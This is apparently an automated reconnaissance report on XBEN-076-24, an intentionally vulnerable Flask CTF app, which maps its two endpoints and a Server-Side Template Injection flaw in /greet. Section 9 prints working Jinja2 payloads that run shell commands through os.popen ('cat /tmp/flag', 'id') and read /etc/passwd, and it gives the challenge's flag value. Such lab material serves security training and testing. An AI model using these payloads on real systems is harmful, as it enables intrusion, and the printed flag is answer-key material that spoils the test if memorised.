# Reconnaissance Deliverable: XBEN-076-24 Flask Application

## 0) HOW TO READ THIS

This reconnaissance report provides a comprehensive map of a minimal Flask CTF application's attack surface. **This application intentionally has NO authentication, authorization, or security controls** - it is designed as a security training challenge focused on Server-Side Template Injection (SSTI).

**Key Sections for Analysis:**
- **Section 4 (API Endpoint Inventory):** Documents the 2 network-accessible endpoints - focus on `/greet` which contains the critical SSTI vulnerability.
- **Section 5 (Input Vectors):** Contains the single input vector (`name` parameter) that leads to Remote Code Execution.
- **Section 7 (Role & Privilege Architecture):** Documents the complete absence of any authorization system.
- **Section 9 (Injection Sources):** Details the critical SSTI vulnerability with complete exploitation path.

**Attack Surface Summary:** This is an intentionally vulnerable CTF application with a minimal attack surface (2 endpoints) but CRITICAL severity vulnerability (SSTI/RCE). The application demonstrates a textbook template injection flaw in a Python Flask environment.

**Priority for Testing:** The `/greet` endpoint with `name` parameter is the sole attack vector, leading to full server compromise and flag extraction from `/tmp/flag`.

---

## 1. Executive Summary

**XBEN-076-24** is a minimal Flask web application (33 lines of Python code) designed as a Capture The Flag (CTF) security challenge. The application exposes a **CRITICAL Server-Side Template Injection (SSTI)** vulnerability at the `/greet` endpoint that allows complete server compromise, arbitrary file access, and Remote Code Execution (RCE).

### Application Purpose
A simple greeting application that accepts a user's name and displays a personalized greeting message. The intentional security flaw demonstrates the dangers of using `render_template_string()` with unsanitized user input.

### Core Technology Stack
- **Backend Framework:** Flask 3.0.3 (Python 3.9.24)
- **WSGI Server:** Werkzeug 3.0.3 (development server)
- **Template Engine:** Jinja2 3.1.6
- **Deployment:** Docker containerized (python:3.9-slim base)
- **Web Server:** Caddy (reverse proxy on host)
- **No Database:** Stateless application with no persistent storage

### Security Posture: CRITICAL RISK

The application demonstrates multiple severe security deficiencies:
- **No authentication or authorization controls** on any endpoint
- **No input validation or sanitization** mechanisms
- **No security middleware** (CORS, CSRF, security headers, rate limiting)
- **No encryption** at rest or in transit (HTTP only)
- **Critical SSTI vulnerability** enabling Remote Code Execution (RCE) at `/greet` endpoint
- **Plaintext secrets** in version control (`.env` file with CTF flag)
- **No session management** or state tracking

### Primary Attack Vector
The `/greet` endpoint (`app/app.py:26-30`) uses `render_template_string()` with unsanitized user input from the `name` query parameter, allowing attackers to inject Jinja2 template expressions that execute arbitrary Python code, access Flask configuration, read files (including `/tmp/flag`), and fully compromise the server.

### Attack Surface Components
- **2 HTTP Endpoints:** `/` (index) and `/greet` (vulnerable)
- **1 Input Vector:** `name` query parameter in `/greet`
- **0 Authentication Endpoints:** No login, logout, or user management
- **0 Authorization Controls:** All endpoints publicly accessible

---

## 2. Technology & Service Map

### Frontend
- **Framework:** None (server-side rendering only)
- **UI:** Static HTML form embedded in Flask route (no JavaScript)
- **Form Submission:** HTTP GET method to `/greet` endpoint
- **Template Engine:** Jinja2 3.1.6 (server-side rendering)

### Backend
- **Language:** Python 3.9.24
- **Framework:** Flask 3.0.3
- **WSGI Server:** Werkzeug 3.0.3 (development server - NOT production-ready)
- **Key Dependencies:**
  - Flask==3.0.3 (web framework)
  - Werkzeug==3.0.3 (WSGI utility library)
  - Jinja2==3.1.6 (template engine, transitive dependency)
- **Application Structure:** Monolithic single-file application (33 lines)
- **Authentication Libraries:** NONE
- **Security Extensions:** NONE (no Flask-Login, Flask-Security, Flask-Talisman, Flask-Limiter)

### Infrastructure
- **Hosting Provider:** Docker container on local host
- **Container Base Image:** python:3.9-slim (Debian 13 "trixie")
- **Reverse Proxy:** Caddy (port 80/443 on host)
- **CDN:** None
- **Database Type:** None (stateless application)
- **Session Storage:** None configured
- **Orchestration:** docker-compose.yml (single service)

### Network Architecture
```
Internet/External Network
       ↓
Caddy Reverse Proxy (localhost:80/443)
       ↓
Docker Container Port Mapping (dynamic → 5000)
       ↓
Werkzeug Development Server (0.0.0.0:5000)
       ↓
Flask Application Router
       ↓
    ┌──────────────┬──────────────┐
    ↓              ↓              
/ (Index)      /greet (SSTI)    
Static HTML    Jinja2 Rendering (VULNERABLE)
```

### Identified Subdomains
From subfinder scan (localhost development environment artifacts):
- mail.regency.localhost
- sbs.allsaintsschool.localhost
- server2.hunter.localhost
- exchvm.nwcnet.localhost
- naeu2.naeuinc.localhost
- server02.counterintel.localhost
- mail.localhost
- www.localhost
- autodiscover.localhost

**Note:** These appear to be artifacts from the scanning environment and are NOT related to the target application.

### Open Ports & Services (from nmap scan on host)
- **Port 80 (HTTP):** Caddy httpd
- **Port 443 (HTTPS):** SSL/HTTPS (Caddy)
- **Port 631:** CUPS 2.3 (print service - out of scope)
- **Port 8888:** SimpleHTTPServer (Python - out of scope)
- **Port 9999:** tcpwrapped (unknown service - out of scope)
- **Port 49152:** Tailscale service (requires authentication - out of scope)

**Target Application:** Accessible via reverse proxy at http://localhost:33081 (mapped to container port 5000)

---

## 3. Authentication & Session Management Flow

### Status: ❌ NOT IMPLEMENTED

This application has **ZERO authentication mechanisms**. All endpoints are publicly accessible without any form of credential validation, identity verification, or access control.

### Entry Points
**Authentication Endpoints:** NONE

The following standard authentication endpoints are **NOT implemented**:
- ❌ `/login` - User login
- ❌ `/logout` - User logout
- ❌ `/register` - User registration
- ❌ `/auth/*` - Any authentication routes
- ❌ `/oauth/*` - OAuth integration
- ❌ `/saml/*` - SAML integration

### Mechanism
**Authentication Flow:** N/A - No authentication exists

**Code Evidence:**
```python
# File: app/app.py (complete application)
from flask import Flask, request, render_template_string

app = Flask(__name__)  # No SECRET_KEY, no authentication configuration

@app.route('/')          # No @login_required decorator
def index():
    return '''[static HTML form]'''

@app.route('/greet')     # No @login_required decorator
def greet():
    name = request.args.get('name', '')
    template = f"Hello, {name}!"
    return render_template_string(template)  # VULNERABLE - SSTI
```

### Code Pointers
**Authentication Implementation:** NONE

Files checked for authentication logic:
- `app/app.py` - Main application (no auth code)
- `app/requirements.txt` - No auth libraries (Flask-Login, Flask-JWT-Extended, authlib)
- No separate authentication modules or middleware found

### 3.1 Role Assignment Process

**Status:** ❌ NOT IMPLEMENTED

- **Role Determination:** N/A - No user accounts or roles exist
- **Default Role:** N/A - All requests are anonymous
- **Role Upgrade Path:** N/A - No privilege system
- **Code Implementation:** Not present

### 3.2 Privilege Storage & Validation

**Status:** ❌ NOT IMPLEMENTED

- **Storage Location:** N/A - No user identity tracked
- **Validation Points:** NONE - No authorization checks in any route
- **Cache/Session Persistence:** N/A - No sessions created
- **Code Pointers:** No privilege validation code exists

### 3.3 Role Switching & Impersonation

**Status:** ❌ NOT IMPLEMENTED

- **Impersonation Features:** None
- **Role Switching:** None
- **Audit Trail:** None (no logging of security events)
- **Code Implementation:** Not present

---

## 4. API Endpoint Inventory

**Network Surface Focus:** Only network-accessible HTTP endpoints reachable via the deployed Flask application are documented below.

### Complete Endpoint Table

| Method | Endpoint Path | Required Role | Object ID Parameters | Authorization Mechanism | Description & Code Pointer |
|--------|---------------|---------------|----------------------|------------------------|----------------------------|
| GET | `/` | anon | None | None | **Index/Landing Page** - Serves static HTML form with text input for name and submit button. Form submits to `/greet` via GET. Returns inline HTML (not from template file). **Location:** `app/app.py:5-24` **Function:** `index()` **Risk:** Low - Static content only |
| GET | `/greet` | anon | None | None | **Greeting Handler - CRITICAL VULNERABILITY** - Accepts `name` query parameter and dynamically renders greeting using Jinja2 via `render_template_string()`. **SSTI Vulnerability:** User input directly interpolated into template string before rendering, allowing Jinja2 template injection and arbitrary Python code execution. **Location:** `app/app.py:26-30` **Function:** `greet()` **Risk:** CRITICAL - Remote Code Execution (RCE) |

### Endpoint Details

#### Endpoint 1: `/` (Index Page)
- **HTTP Methods:** GET (default)
- **Authentication:** None required
- **Authorization:** None required
- **Input Parameters:** None
- **Output:** Static HTML form
- **Security Controls:** None
- **Vulnerabilities:** None identified
- **Code:**
  ```python
  # app/app.py:5-24
  @app.route('/')
  def index():
      return '''<!DOCTYPE html>
      <html lang="en">
      <head>
          <meta charset="UTF-8">
          <title>Greeting App</title>
      </head>
      <body>
          <h1>Greeting App</h1>
          <form action="/greet" method="GET">
              <label for="name">Enter your name:</label>
              <input type="text" id="name" name="name" placeholder="Your name">
              <button type="submit">Greet</button>
          </form>
      </body>
      </html>'''
  ```

#### Endpoint 2: `/greet` (Vulnerable Greeting Handler)
- **HTTP Methods:** GET (default)
- **Authentication:** None required
- **Authorization:** None required
- **Input Parameters:**
  - `name` (query string, optional, defaults to empty string)
  - Source: `request.args.get('name', '')`
  - Validation: **NONE**
  - Sanitization: **NONE**
- **Output:** Dynamically rendered HTML via Jinja2
- **Security Controls:** None
- **Vulnerabilities:** **CRITICAL - Server-Side Template Injection (SSTI) leading to RCE**
- **Code:**
  ```python
  # app/app.py:26-30
  @app.route('/greet')
  def greet():
      name = request.args.get('name', '')      # Line 28: User input (no validation)
      template = f"Hello, {name}!"             # Line 29: Direct interpolation (vulnerable)
      return render_template_string(template)  # Line 30: Jinja2 renders user-controlled template
  ```

### Hidden/Debug Endpoints
**Status:** None found

No hidden, debug, or administrative endpoints discovered:
- No Flask debug mode enabled
- No admin routes (`/admin`, `/debug`, `/console`)
- No health check endpoints exposed by application code
- No API documentation endpoints (`/docs`, `/swagger`, `/api-docs`)

### Missing Standard Endpoints
The following common web application endpoints are **NOT implemented**:
- `/api/*` - No REST API versioning
- `/auth/*` - No authentication routes
- `/user/*` or `/users/*` - No user management
- `/admin/*` - No administrative interface
- `/static/*` - Flask creates this route automatically, but no static directory exists (404 responses)

---

## 5. Potential Input Vectors for Vulnerability Analysis

**Network Surface Focus:** Only input vectors accessible through the target web application's network interface are documented. Local-only scripts, build tools, and development utilities are excluded.

### Complete Input Vector Inventory

#### Query Parameters (URL)
**Total:** 1 input vector

| Endpoint | Parameter | Source | Validation | Sanitization | Data Flow | Sink | Vulnerability Type |
|----------|-----------|--------|------------|--------------|-----------|------|-------------------|
| `/greet` | `name` | `request.args.get('name', '')` at `app/app.py:28` | **NONE** | **NONE** | `name` → f-string interpolation (line 29) → `render_template_string()` (line 30) | Jinja2 template engine | **SSTI/RCE** |

**Detailed Analysis of `name` Parameter:**
- **Location:** `app/app.py:28`
- **Retrieval:** `name = request.args.get('name', '')`
- **Type:** String (no type enforcement)
- **Length Limit:** None (unbounded)
- **Character Restrictions:** None (accepts any characters including `{`, `}`, `[`, `]`, `_`, special characters)
- **Validation:** **NONE** - No validation of any kind
- **Sanitization:** **NONE** - No HTML escaping, encoding, or filtering
- **Data Flow:**
  ```
  HTTP GET /greet?name=<USER_INPUT>
      ↓
  request.args.get('name', '')  [app/app.py:28]
      ↓
  template = f"Hello, {name}!"  [app/app.py:29]
      ↓
  render_template_string(template)  [app/app.py:30]
      ↓
  Jinja2 Template Engine Evaluation
      ↓
  ARBITRARY PYTHON CODE EXECUTION
  ```

#### POST Body Fields (JSON/Form)
**Total:** 0 input vectors

The application does not accept POST requests or process request bodies of any kind.
- No `request.form` usage
- No `request.json` usage
- No `request.data` usage
- No file upload handling (`request.files`)

#### HTTP Headers
**Total:** 0 application-processed headers

The application does not read or process HTTP headers for business logic.
- No `request.headers` usage in application code
- No custom header processing
- No `X-Forwarded-For`, `User-Agent`, or other header-based logic
- Flask/Werkzeug process standard headers (Host, Content-Type, etc.) automatically

**Note:** HTTP headers are not validated or logged by the application, but are processed by the underlying Werkzeug/Flask framework.

#### Cookie Values
**Total:** 0 cookies

The application does not use cookies for any purpose.
- No session cookies (no `SECRET_KEY` configured)
- No custom cookies set via `set_cookie()`
- No cookie reading via `request.cookies`
- No cookie-based tracking or preferences

### Input Vector Summary

**Total Network-Accessible Input Vectors: 1**

| Input Source | Count | Example Parameters | Risk Level |
|--------------|-------|-------------------|------------|
| Query Parameters | 1 | `name` at `/greet` | **CRITICAL** |
| POST Body | 0 | N/A | N/A |
| HTTP Headers | 0 | N/A | N/A |
| Cookies | 0 | N/A | N/A |
| File Uploads | 0 | N/A | N/A |
| Path Parameters | 0 | N/A | N/A |

### Exclusions (Out of Scope)

The following are **NOT** input vectors for network-accessible attack surface analysis:
- Command-line arguments (application run via `python app.py`)
- Environment variables (`.env` file used at build time, not runtime input)
- Configuration files (no runtime configuration file parsing)
- Database inputs (no database exists)
- Message queue inputs (no message queues used)

---

## 6. Network & Interaction Map

**Network Surface Focus:** Only components that are part of the deployed, network-accessible infrastructure are mapped below.

### 6.1 Entities

| Title | Type | Zone | Tech | Data | Notes |
|-------|------|------|------|------|-------|
| **External Network** | ExternAsset | Internet | N/A | Public | Untrusted external users/attackers |
| **Caddy Reverse Proxy** | Service | Edge | Caddy httpd | Public | Host-level reverse proxy on ports 80/443 |
| **Flask Application** | Service | App | Python/Flask 3.0.3 | PII (if names considered PII), CTF Flag | Main vulnerable application in Docker container |
| **Docker Container** | Service | App | Docker (python:3.9-slim) | CTF Flag | Container runtime environment |
| **Container Filesystem** | DataStore | App | Linux filesystem | CTF Flag | Stores `/tmp/flag` file with CTF flag |

### 6.2 Entity Metadata

| Title | Metadata |
|-------|----------|
| **Flask Application** | Hosts: `http://localhost:33081` (via reverse proxy), `http://0.0.0.0:5000` (container internal); Endpoints: `/`, `/greet`; Auth: None; Dependencies: Werkzeug 3.0.3, Jinja2 3.1.6; Vulnerabilities: SSTI at `/greet` |
| **Caddy Reverse Proxy** | Listen: `0.0.0.0:80`, `0.0.0.0:443`; Backend: Container port 5000; TLS: Available on 443; Version: Caddy httpd |
| **Docker Container** | Base Image: `python:3.9-slim`; Exposed Ports: 5000; Network: Bridge mode; User: root (UID 0); Volumes: None |
| **Container Filesystem** | Flag Location: `/tmp/flag`; Flag Format: `flag{5e88d1bf-228f-4335-a4da-96517cb69114}`; Permissions: Likely world-readable; Access Method: File read via SSTI RCE |

### 6.3 Flows (Connections)

| FROM → TO | Channel | Path/Port | Guards | Touches |
|-----------|---------|-----------|--------|---------|
| External Network → Caddy Reverse Proxy | HTTPS | `:443 /` | None | Public |
| External Network → Caddy Reverse Proxy | HTTP | `:80 /` | None | Public |
| Caddy Reverse Proxy → Flask Application | HTTP | `container:5000 /` | None | Public |
| Flask Application → Container Filesystem | File I/O | `/tmp/flag` | None (accessible via SSTI) | CTF Flag |
| External Network → Flask Application | HTTP (via proxy) | `:33081 /greet?name=` | None | User Input (SSTI payload) |

### 6.4 Guards Directory

| Guard Name | Category | Statement |
|------------|----------|-----------|
| **None** | Auth | No authentication guards exist in this application |
| **None** | Authorization | No authorization guards exist in this application |
| **None** | Network | No network-level access controls (VPC, firewall rules) configured |
| **None** | RateLimit | No rate limiting implemented |

**Note:** This application has **ZERO security guards** of any type. All endpoints are completely open to anonymous access without any access control, rate limiting, or validation mechanisms.

---

## 7. Role & Privilege Architecture

### Status: ❌ NOT IMPLEMENTED

This application has **NO role or privilege architecture** whatsoever. All requests are processed as anonymous with no concept of users, roles, or permissions.

### 7.1 Discovered Roles

**Total Roles Found: 0**

No roles are defined in the application. The system does not distinguish between different types of users or privilege levels.

**Evidence:**
- No User model or database table
- No Role enum or constants
- No role definitions in configuration
- No JWT claims with role data
- No session storage with role information
- No `current_user` or similar user context

**Default Access Level:** All endpoints are effectively "anonymous" access with no authentication required.

### 7.2 Privilege Lattice

**Status:** N/A - No privilege hierarchy exists

Since there are no roles or authentication, there is no privilege ordering, dominance, or isolation:

```
No role hierarchy exists.
All access is anonymous (effectively privilege level 0).
```

### 7.3 Role Entry Points

| Role | Default Landing Page | Accessible Route Patterns | Authentication Method |
|------|---------------------|--------------------------|----------------------|
| anonymous (all users) | `/` | `/`, `/greet` (all routes) | None |

**Note:** Since there's no authentication, all users (anonymous) can access all routes without any distinction.

### 7.4 Role-to-Code Mapping

**Status:** N/A - No role implementation exists

| Role | Middleware/Guards | Permission Checks | Storage Location |
|------|------------------|------------------|------------------|
| N/A | None | None | N/A |

**Code Analysis:**
```python
# app/app.py - Complete application showing NO authorization
from flask import Flask, request, render_template_string

app = Flask(__name__)  # No role configuration

@app.route('/')        # No role decorator
def index():
    return '''[HTML form]'''

@app.route('/greet')   # No role decorator
def greet():
    name = request.args.get('name', '')
    template = f"Hello, {name}!"
    return render_template_string(template)
```

---

## 8. Authorization Vulnerability Candidates

### Context

Since this application has **NO authentication or authorization mechanisms**, traditional authorization vulnerabilities (horizontal privilege escalation, vertical privilege escalation, IDOR) are **NOT APPLICABLE** in the conventional sense. However, for completeness and to assist the Authorization Analysis Specialist, this section documents what WOULD be authorization issues if the application were extended with authentication.

### 8.1 Horizontal Privilege Escalation Candidates

**Status:** N/A (No user objects or authentication)

| Priority | Endpoint Pattern | Object ID Parameter | Data Type | Sensitivity | Notes |
|----------|-----------------|-------------------|-----------|-------------|-------|
| N/A | `/greet` | `name` | text | Low | Not an object ID - just a text parameter for greeting. No user context to escalate from. |

**Conclusion:** No horizontal privilege escalation vulnerabilities exist because:
- No user accounts or user objects
- No user-owned resources
- No user context to distinguish "my data" from "other user's data"

### 8.2 Vertical Privilege Escalation Candidates

**Status:** N/A (No role hierarchy)

**Endpoints Requiring Higher Privileges:** NONE

Since all endpoints are publicly accessible without authentication, there are no "privileged" endpoints to escalate to.

**If authentication were implemented, potential targets for vertical escalation:**
- Any future admin routes (`/admin/*`)
- Any future user management endpoints (`/users/*`)
- Any future configuration endpoints

**Current Risk:** Low (no authentication to bypass)
**Future Risk:** High (if admin endpoints added without proper authorization checks)

### 8.3 Context-Based Authorization Candidates

**Status:** N/A (No multi-step workflows)

The application has no multi-step workflows, state machines, or context-dependent authorization:
- No shopping cart/checkout flows
- No onboarding/wizard processes
- No approval workflows
- No step-by-step forms

**Current Endpoints:**
- `/` - Single-step form display
- `/greet` - Single-step greeting rendering (no state dependency)

**Conclusion:** No context-based authorization bypasses exist due to application simplicity (stateless, single-step operations only).

---

## 9. Injection Sources (Command Injection, SQL Injection, LFI/RFI, SSTI, Path Traversal, Deserialization)

**Network Surface Focus:** Only injection sources reachable through the target web application's network interface are documented.

### CRITICAL FINDING: Server-Side Template Injection (SSTI)

**Total Injection Sources: 1 (CRITICAL SEVERITY)**

### 9.1 SSTI Injection Source - Remote Code Execution

#### Injection Type
**Server-Side Template Injection (SSTI) / Remote Code Execution (RCE)**

#### Entry Point
- **Endpoint:** `GET /greet`
- **Parameter:** `name`
- **HTTP Method:** GET
- **Parameter Source:** Query string

#### Complete Data Flow Path

```
1. HTTP Request
   GET /greet?name={{7*7}}
   
2. Flask Route Handler (app/app.py:26)
   @app.route('/greet')
   
3. Input Retrieval (app/app.py:28) - NO VALIDATION
   name = request.args.get('name', '')
   
4. Template Construction (app/app.py:29) - VULNERABLE INTERPOLATION
   template = f"Hello, {name}!"
   # At this point: template = "Hello, {{7*7}}!"
   
5. Template Rendering (app/app.py:30) - DANGEROUS SINK
   return render_template_string(template)
   # Jinja2 evaluates {{7*7}} and returns "Hello, 49!"
   
6. Arbitrary Python Code Execution
   Jinja2 template engine processes user-controlled template expressions
```

#### Code Location

**Input Retrieval:**
- **File:** `app/app.py`
- **Line:** 28
- **Code:** `name = request.args.get('name', '')`

**Vulnerable Interpolation:**
- **File:** `app/app.py`
- **Line:** 29
- **Code:** `template = f"Hello, {name}!"`

**Dangerous Sink:**
- **File:** `app/app.py`
- **Line:** 30
- **Function:** `render_template_string(template)`
- **Module:** `flask`

#### Validation & Sanitization

- **Validation:** **NONE** - No input validation of any kind
- **Sanitization:** **NONE** - No escaping, encoding, or filtering
- **Type Checking:** **NONE** - Accepts any string value
- **Length Limit:** **NONE** - Unbounded input length
- **Character Filtering:** **NONE** - Accepts special characters (`{`, `}`, `[`, `]`, `_`, etc.)

#### Exploitability

**Risk Level:** **CRITICAL (CVSS 9.8+)**

**Attack Complexity:** Low
- Single HTTP GET request
- No authentication required
- Publicly accessible endpoint
- No WAF or security controls

**Capabilities:**
- Execute arbitrary Python code
- Read arbitrary files from container filesystem (`/tmp/flag`, `/etc/passwd`)
- Execute shell commands via `os.popen()` or `subprocess`
- Access Flask application configuration and secrets
- Exfiltrate data
- Full server compromise within container

#### Exploitation Examples

**1. Basic Template Injection (Math Expression):**
```http
GET /greet?name={{7*7}} HTTP/1.1
Host: localhost:33081

Response: Hello, 49!
```

**2. Configuration Disclosure:**
```http
GET /greet?name={{config}} HTTP/1.1

Response: Hello, <Config {'DEBUG': False, 'SECRET_KEY': None, ...}>!
```

**3. File Read (Flag Extraction):**
```http
GET /greet?name={{request.application.__globals__.__builtins__.__import__('os').popen('cat /tmp/flag').read()}} HTTP/1.1

Response: Hello, flag{5e88d1bf-228f-4335-a4da-96517cb69114}!
```

**4. Remote Code Execution (System Command):**
```http
GET /greet?name={{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('id').read()}} HTTP/1.1

Response: Hello, uid=0(root) gid=0(root) groups=0(root)
```

**5. Environment Variable Access:**
```http
GET /greet?name={{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} HTTP/1.1

Response: [System password file contents]
```

#### Attack Chain for CTF Flag Extraction

```python
# Payload: Access os.popen via Python object introspection
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /tmp/flag').read()}}

# Breakdown:
# request.application          -> Access Flask app instance
# .__globals__                 -> Access global namespace
# .__builtins__               -> Access Python built-in functions
# .__import__('os')           -> Import os module
# .popen('cat /tmp/flag')     -> Execute shell command
# .read()                     -> Read command output

# Result: Returns CTF flag from /tmp/flag
```

#### Complete Vulnerable Code

```python
# File: /app/app.py:26-30
@app.route('/greet')
def greet():
    name = request.args.get('name', '')              # LINE 28: User input (NO VALIDATION)
    template = f"Hello, {name}!"                     # LINE 29: Direct interpolation (VULNERABLE)
    return render_template_string(template)          # LINE 30: Jinja2 template rendering (DANGEROUS SINK)
```

### 9.2 Other Injection Types: NOT FOUND

#### SQL Injection
**Status:** ✅ NOT VULNERABLE (No database)

**Evidence:**
- No database drivers in dependencies
- No SQL query construction
- No ORM usage (SQLAlchemy, Django ORM, etc.)
- No database connection objects

#### Command Injection
**Status:** ✅ NOT VULNERABLE (No direct command execution)

**Evidence:**
- No `subprocess` module imported
- No `os.system()` calls
- No `os.popen()` calls (except via SSTI exploitation)
- No shell command construction from user input

**Note:** Command execution IS possible via SSTI exploitation, but there's no separate command injection vulnerability.

#### Path Traversal / LFI / RFI
**Status:** ✅ NOT VULNERABLE (No file operations)

**Evidence:**
- No `open()` calls with user input
- No `send_file()` or `send_from_directory()` with user input
- No file upload handling
- No dynamic file path construction

**Note:** File reading IS possible via SSTI exploitation, but there's no separate path traversal vulnerability.

#### Insecure Deserialization
**Status:** ✅ NOT VULNERABLE (No deserialization)

**Evidence:**
- No `pickle` usage
- No `yaml.load()` (PyYAML not installed)
- No `marshal.loads()`
- No JSON deserialization of untrusted objects

### Summary of Injection Sources

| Injection Type | Count | Locations | Severity | Exploitability |
|----------------|-------|-----------|----------|----------------|
| **SSTI/RCE** | **1** | `app/app.py:28-30` | **CRITICAL** | **High** |
| SQL Injection | 0 | N/A | N/A | N/A |
| Command Injection | 0 | N/A | N/A | N/A |
| Path Traversal/LFI | 0 | N/A | N/A | N/A |
| Deserialization | 0 | N/A | N/A | N/A |

**Total Network-Accessible Injection Sources: 1 (CRITICAL SSTI/RCE)**

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## CONCLUSION

This reconnaissance analysis documents a minimal Flask CTF application with a **CRITICAL Server-Side Template Injection vulnerability** at the `/greet` endpoint. The application intentionally lacks all standard security controls (authentication, authorization, input validation, sanitization) to demonstrate the dangers of insecure template rendering.

**Key Findings:**
- **2 network-accessible endpoints** (/, /greet)
- **1 critical input vector** (name parameter at /greet)
- **0 authentication/authorization controls**
- **1 critical SSTI/RCE vulnerability** enabling full server compromise
- **Flag location:** /tmp/flag (accessible via SSTI file read)

**Attack Surface:** Minimal but severe - single vulnerability provides complete system access.

**Recommended Priority for Vulnerability Analysis Specialists:**
1. **Injection Analysis Specialist:** Focus on SSTI exploitation at `/greet` endpoint
2. **XSS Analysis Specialist:** No traditional XSS, but SSTI can achieve similar effects
3. **Auth/Authz Analysis Specialists:** No authentication/authorization to analyze
4. **SSRF Analysis Specialist:** No SSRF vulnerabilities (no outbound requests)